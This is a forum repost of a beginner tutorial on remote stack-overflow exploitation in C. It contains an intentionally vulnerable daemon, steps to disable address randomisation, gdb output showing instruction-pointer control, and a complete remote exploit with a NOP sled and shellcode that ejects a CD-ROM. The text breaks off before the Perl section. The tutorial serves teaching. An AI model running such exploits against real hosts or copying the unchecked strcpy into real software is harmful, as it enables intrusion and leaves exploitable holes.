发新话题
打印

[转载]Remote Exploitation with C and Perl

[转载]Remote Exploitation with C and Perl

文章作者:Preddy

[code]-- Remote Exploitation with C and Perl by Preddy - RootShell Security Group

--[ Contents

1.1 - Goal
1.2 - Situation
1.3 - Vulnerable Daemon + Vulnerability analyses
1.4 - Payload/Code construction/analyses in C
1.5 - Payload/Code construction/analyses in Perl
1.6 - Conlusion
1.7 - Contact & Feedback

[1.1]--[ Goal

Hi, Preddy here , 17 year old turkish kid from holland,First of all sorry for my english , please do notify me of any spelling errors.
I would recommend you to read my previous tutorial about "Simple Buffer Overflows"
to avoid misunderstanding in this tutorial and to get a basic understanding of buffer overflows.
Our goal is to write two remote exploits , one in c and one in perl.
Both of the exploits, exploit a vulnerability in a small vulnerable daemon.
You would need perl installed(eg: ActivePerl for windows) and a compiler for c
(eg: cygwin for windows) you should have perl and a compiler package installed at your
linux distribution, you can install them with the following commands
(incase you haven't got it installed) :

To search for the perl package:

apt-cache search perl

then to install it:

apt-get install [perl-pkg-name]

you can do the same with the compiler package.


[1.2]--[ Situation

I have a laptop on my left side and a desktop on my right-hand side.
the laptop uses the following local ip address: 192.168.1.100
and the desktop uses: 192.168.1.101 as it's local ip address.
The laptop is the attacker in this situation and the desktop is our victim.
both run slackware 10.2 and have the VA patch turned off.

Turning the VA patch off:

cat /proc/sys/kernel/randomize_va_space
1
echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
0

The desktop computer runs a vulnerable daemon on port 7500 which we have to exploit
and open its cd-rom drive with the payload. Once again it's a very basic stack overflow
and this should be a piece of cake for the average exploit writer but it's very
usefull for people who are just starting to write exploits and exploit buffer overflows.

[1.3]--[ Vulnerable Daemon + Vulnerability analyses

Our vulnerable daemon:

server.c
---

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define LISTENPORT 7500

#define BACKLOG 10

#define MSG "Hello, how are you?"


int handle_reply(char *str)
{

char response[256];

strcpy(response,str);

printf("The client says \"%s\"\n",response);

return 0;

}

int main(int argc, char * argv[]) {
  int sock, conn;
  struct sockaddr_in my_addr, client_addr;
  int sockopt_on = 1;
  int sa_in_size = sizeof(struct sockaddr_in);
  char reply[1024];



  //get a socket
  if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) {
   perror("socket");
   exit(1);
  }


  //first zero the struct
  memset((char *) &my_addr, 0, sa_in_size);

  //now fill in the fields we need
  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(LISTENPORT);
  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  //bind our socket to the port
  if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) {
   perror("bind");
   exit(1);
  }

  //start listening for incoming connections
  if (listen(sock,BACKLOG) == -1) {
   perror("listen");
   exit(1);
  }

  while(1) {
   //grab connections
   conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size);
   if (conn == -1) {
    perror("accept");
    exit(1);
   }

   //log the connecter
   printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr));

   //send a greeting
   send(conn,MSG,strlen(MSG)+1,0);

   //get the reply
   recv(conn, reply, 1024, 0);

   handle_reply(reply);

  }

  return 0;
}
---

This piece of code serves as a daemon and waits for people to connect,
on a successfull connection the server replies with a message and
waits for the user to reply back with his message.
The message get&#39;s stored in a buffer called &#39;reply&#39; which can hold
1024 bytes of data.

the vulnerability lies in the handle_reply() function let&#39;s analyze it:

handle_reply()
---

int handle_reply(char *str)
{

char response[256];

strcpy(response,str);

printf("The client says \"%s\"\n",response);

return 0;

}
---

as you can see it has a response buffer which can hold 256 bytes of data
the reply message from the user gets copied in that buffer and the response
message is viewed at the server.

like this,

client:
---

telnet 192.168.1.101 7500
Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is &#39;^]&#39;.
Hello, how are you?fine thanks how are you?

---

server:
---

got connection from 192.168.1.100
The client says "fine thanks how are you?
"
---

as you can see nothing special happens. But let&#39;s try to send a buffer which
is 272 bytes , which exceeds the buffersize of the response buffer in the handle_reply()
function.


[1.4]--[ Payload/Code construction/analyses in C

We want to send a 272 byte buffer to port 7500 of our victim (192.168.1.101)
so let&#39;s start by writing a simple piece of c code which can send 272 x A (0x41) to port
7500. Also don&#39;t forget to enable coredumps to analyze the overflow,

Enabling coredumps:

ulimit -c unlimited

Our overflow code:

send_overflow.c
---

/*

-- Send overflow (C version) written by Preddy

  Part of Preddy&#39;s Remote Exploitation with C and Perl tutorial

  Usage: ./send_overflow <ip>

  Example: ./send_overflow 192.168.1.101

*/

/*
include headers which are required for a network connection
and other functionalities in the program
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

/*
define our remote port and the data which we are going to send
*/

#define REMPORT    7500
#define A        0x41

//Start with the program
int main(int argc,char **argv)
{

/* declare our variables */
int conn; //our connection variable, which will connect to the remote computer
int fd; // our socket file descriptor

//assign struct sockadd_in to remaddr
struct sockaddr_in remaddr;

//declare our payload buffer which will hold 272 bytes of data
char payload[272];

/*
check if the first commandline argument is given (the ip address)
if NOT print a message and exit
*/

if(!argv[1])
{

printf("Specify ip plz..\n");

exit(1);

}

/*
create the socket and also check for errors at creation
if an error is detected socket() will return -1
*/
if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{

perror("socket");

exit(1);

}

/*
this is going to overwrite the Extended Instruction Pointer
with 4 x 0x42  (BBBB -> 0x42 is also knows as B in its ascii form - http://www.lookuptables.com/)
*/

char *eip = "\x42\x42\x42\x42";

/*
fill our payload with 268 bytes of A (previously defined as 0x41)
*/

memset(payload,A,268);

/* fill the part after 268 bytes with our eip (BBBB - 0x42424242) */

memcpy(payload+268,eip,sizeof(eip));

/* connection information */
remaddr.sin_family = AF_INET; //domain
remaddr.sin_addr.s_addr = inet_addr(argv[1]); //remote connection address (our first argument - IP)
remaddr.sin_port = htons(REMPORT); //the remote port to connect to (previously defined as 7500)

/* this is where the actual connection take&#39;s place */

conn = connect(fd, (struct sockaddr_in *)&remaddr,sizeof(remaddr));

/* check the connection for errors as you know it returns -1 at errors */
if(conn < 0)
{

printf("Error: could not connect\n");
exit(1);
}

/* this is the part where our payload gets sent */

send(fd,payload,strlen(payload),0);

/* this is extra information which is displayed after sending the payload */

printf("Payload Size: %i\n",sizeof(payload));
printf("Payload Sent..\n");

}

---

Now we can start with compiling our program:

client:
---
gcc send_overflow.c -o send_overflow

./send_overflow 192.168.1.101
Payload Size: 272
Payload Sent..
---

server:
---

got connection from 192.168.1.100
The client says "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"
Segmentation fault (core dumped)
bash-3.00# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

Core was generated by `./server&#39;.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can&#39;t read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x42424242 in ?? ()
(gdb) i r eip
eip        0x42424242     0x42424242
(gdb)

---

as you see we have overwritten the extended intruction pointer with our own
eip which we constructed before in our payload (char *eip = "\x42\x42\x42\x42";)
and its overwritten with exacly BBBB

so now we have to place our shellcode in our payload and also our nopsled.
and finish a huge part of the exploit.

server_exploit.c
---

/*

-- Remote "eject cd-rom" exploit (C version) written by Preddy

  Part of Preddy&#39;s Remote Exploitation with C and Perl tutorial

  Usage: ./server_exploit <ip>

  Example: ./server_exploit 192.168.1.101

*/

/*
include headers which are required for a network connection
and other functionalities in the program
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

/*
define our remote port and the data which we are going to send
*/

#define REMPORT    7500
#define NOP       0x90
#define A        0x41

//Start with the program

int main(int argc,char **argv)
{

//Our shellcode which ejects the cd-rom drive..

/*
* (linux/x86) eject cd-rom (follows "/dev/cdrom" symlink) + exit() - 40 bytes
* - izik <izik@tty64.org>
*/

char scode[] =

   "\x6a\x05"          // push $0x5
   "\x58"            // pop %eax
   "\x31\xc9"          // xor %ecx,%ecx
   "\x51"            // push %ecx
   "\xb5\x08"          // mov $0x8,%ch
   "\x68\x64\x72\x6f\x6d"  // push $0x6d6f7264
   "\x68\x65\x76\x2f\x63"  // push $0x632f7665
   "\x68\x2f\x2f\x2f\x64"  // push $0x642f2f2f
   "\x89\xe3"          // mov %esp,%ebx
   "\xcd\x80"          // int $0x80
   "\x89\xc3"          // mov %eax,%ebx
   "\xb0\x36"          // mov $0x36,%al
   "\x66\xb9\x09\x53"    // mov $0x5309,%cx
   "\xcd\x80"          // int $0x80
   "\x40"            // inc %eax
   "\xcd\x80";         // int $0x80


/* declare our variables */
int conn; //our connection variable, which will connect to the remote computer
int fd; // our socket file descriptor

//assign struct sockadd_in to remaddr
struct sockaddr_in remaddr;

//declare our payload buffer which will hold 272 bytes of data
char payload[272];

/*
check if the first commandline argument is given (the ip address)
if NOT print a message and exit
*/

if(!argv[1])
{

printf("Specify ip plz..\n");

exit(1);

}

/*
create the socket and also check for errors at creation
if an error is detected socket() will return -1
*/

if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{

perror("socket");

exit(1);

}

/*
this is going to overwrite the Extended Instruction Pointer
with 4 x 0x42  (BBBB -> 0x42 is also knows as B in its ascii form - http://www.lookuptables.com/)
*/

char *eip = "\x42\x42\x42\x42";

/*

Shellcode size: 40 bytes

272 bytes used to overwrite eip with 0x42424242

eip = 4 bytes

272 -4 = 268
268 - 40 = 228
Nopsled = 228 bytes

*/

memset(payload,NOP,228); //construct the nopsled
memcpy(payload+228,scode,sizeof(scode)); //place our shellcode after the nopsled
memcpy(payload+268,eip,sizeof(eip)); //place eip after our shellcode

/*

structure:

[NOPSLED - 228 BYTES] + [SHELLCODE - 40 BYTES] + [EIP - 4 BYTES] = 272 BYTES

*/


/* connection information */
remaddr.sin_family = AF_INET; //domain
remaddr.sin_addr.s_addr = inet_addr(argv[1]); //remote connection address (our first argument - IP)
remaddr.sin_port = htons(REMPORT); //the remote port to connect to (previously defined as 7500)

/* this is where the actual connection take&#39;s place */

conn = connect(fd, (struct sockaddr_in *)&remaddr,sizeof(remaddr));

/* check the connection for errors as you know it returns -1 at errors */
if(conn < 0)
{

printf("Error: could not connect\n");
exit(1);
}

/* this is the part where our payload gets sent */

send(fd,payload,strlen(payload),0);

/* this is extra information which is displayed after sending the payload */

printf("Payload Size: %i\n",sizeof(payload));
printf("Payload Sent..\n");

}

---

Let&#39;s start compiling our exploit,

client:
---
gcc server_exploit.c -o server_exploit

./server_exploit 192.168.1.101
Payload Size: 272
Payload Sent..

---

server:
---

bash-3.00# ./server
got connection from 192.168.1.100
The client says "jX1

TOP

发新话题